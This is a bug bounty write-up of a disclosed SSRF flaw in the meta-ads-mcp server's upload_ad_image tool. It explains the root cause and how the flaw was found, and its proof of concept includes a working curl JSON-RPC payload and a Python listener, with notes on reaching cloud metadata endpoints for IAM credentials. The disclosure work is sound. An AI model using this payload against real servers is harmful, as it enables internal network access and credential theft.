# meta-ads-mcp: Server-Side Request Forgery (SSRF) in `upload_ad_image` via Unrestricted `image_url` Fetch

meta-ads-mcp's upload_ad_image tool fetches an attacker-controlled image_url with no URL validation, letting unauthenticated clients SSRF internal hosts and cloud metadata.

- Payout: Research
- Severity: high
- Program: Meta
- Found by: EQSTLab, useworld
- Disclosed: 2026-07-17
- CVE: CVE-2026-54549
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-45gf-fjxp-cjpq
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-45gf-fjxp-cjpq
- Tags: area:ai domain:ai domain:api impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:python technique:source-review vuln:auth-bypass vuln:ssrf

**Target:** MCP streamable-http server tool upload_ad_image / httpx fetch helper
**Root cause:** The image_url tool argument is passed unsanitized to httpx.AsyncClient(follow_redirects=True).get() with no scheme, host, or IP validation; the Bearer middleware only checks token non-emptiness and Meta credential validation happens after the fetch.
**Steps:**
1. Start server: `python3 -m meta_ads_mcp --transport streamable-http --host 0.0.0.0 --port 8080` with dummy META_APP_ID/SECRET.
2. POST initialize to `/mcp` with `Authorization: Bearer dummy-token` and `Accept: application/json, text/event-stream`.
3. POST `tools/call` with `{"name":"upload_ad_image","arguments":{"account_id":"act_123456789","image_url":"http://127.0.0.1:9009/poc.jpg"}}`.
4. Observe the internal listener receives `GET /poc.jpg` before the Meta OAuth error is returned.
**How found:** Code review of the tool registration and fetch helpers: traced image_url from the tool signature through try_multiple_download_methods to three httpx sinks, then grepped for urlparse/ipaddress/allowlist and found no validation; noted auth middleware only checks token presence before the fetch.
**Exploitation:** Any party able to reach the MCP HTTP endpoint sends a JSON-RPC tools/call with an arbitrary image_url and any non-empty Bearer token; the server issues an outbound GET to localhost, RFC1918, or 169.254.169.254 metadata endpoints, and follow_redirects=True allows public-to-internal redirect chaining.
**Escalation:** Redirect chaining via follow_redirects=True reaches internal hosts behind a public URL; metadata endpoint access could yield IAM credentials.
**Insight:** MCP tool arguments that accept URLs are a fresh SSRF surface: check whether the transport's auth middleware validates credentials before or after the tool body executes, and grep for httpx/requests calls with follow_redirects=True lacking ipaddress/is_global checks.

## Proof of concept (copied exactly from the original report)

**curl tools/call SSRF payload to upload_ad_image**

```
curl -sS -X POST http://127.0.0.1:8080/mcp \
  -H "Content-Type: application/json" \
  -H "Accept: application/json, text/event-stream" \
  -H "Authorization: Bearer dummy-token" \
  -d '{
    "jsonrpc": "2.0",
    "method": "tools/call",
    "id": 1,
    "params": {
      "name": "upload_ad_image",
      "arguments": {
        "account_id": "act_123456789",
        "image_url": "http://127.0.0.1:9009/poc.jpg"
      }
    }
  }'
```

**SSRF capture listener returning JPEG**

```
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        print("SSRF GET", self.path, flush=True)
        body = b"\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00\xff\xd9"
        self.send_response(200)
        self.send_header("Content-Type", "image/jpeg")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)
HTTPServer(("127.0.0.1", 9009), H).serve_forever()
PY
```

